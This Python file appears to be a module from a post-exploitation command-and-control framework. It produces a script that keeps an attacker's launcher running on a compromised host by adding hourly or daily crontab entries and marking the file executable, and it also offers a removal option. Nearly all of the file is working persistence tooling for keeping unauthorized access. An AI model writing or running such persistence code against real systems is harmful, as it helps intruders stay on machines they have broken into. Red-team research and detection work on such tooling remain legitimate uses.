from builtins import object
class Module(object):
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'Persistence with crontab',
# list of one or more authors for the module
'Author': ['@424f424f'],
# more verbose multi-line description of the module
'Description': 'This module establishes persistence via crontab',
# True if the module needs to run in the background
'Background' : False,
# File extension to save the file as
'OutputExtension' : "",
# if the module needs administrative privileges
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : False,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.6',
# list of any references/other comments
'Comments': ['']
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to grab a screenshot from.',
'Required' : True,
'Value' : ''
},
'Remove' : {
'Description' : 'Remove Persistence. True/False',
'Required' : False,
'Value' : ''
},
'Hourly' : {
'Description' : 'Hourly persistence.',
'Required' : False,
'Value' : ''
},
'Hour' : {
'Description' : 'Hour to callback. 24hr format.',
'Required' : False,
'Value' : ''
},
'FileName' : {
'Description' : 'File name for the launcher.',
'Required' : True,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
Remove = self.options['Remove']['Value']
Hourly = self.options['Hourly']['Value']
Hour = self.options['Hour']['Value']
FileName = self.options['FileName']['Value']
# updated Hour option to callback on the specified hr was previously set to every hour on specified minute
script = """
import subprocess
import sys
Remove = "%s"
Hourly = "%s"
Hour = "%s"
if Remove == "True":
cmd = 'crontab -l | grep -v "%s" | crontab -'
print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()
print subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read()
print "Finished"
else:
if Hourly == "True":
cmd = 'crontab -l | { cat; echo "0 * * * * %s"; } | crontab -'
print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()
print subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read()
print subprocess.Popen('chmod +x %s', shell=True, stdout=subprocess.PIPE).stdout.read()
print "Finished"
elif Hour:
cmd = 'crontab -l | { cat; echo "0 %s * * * %s"; } | crontab -'
print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()
print subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read()
print subprocess.Popen('chmod +x %s', shell=True, stdout=subprocess.PIPE).stdout.read()
print "Finished"
""" % (Remove, Hourly, Hour, FileName, FileName, FileName, Hour, FileName, FileName)
return script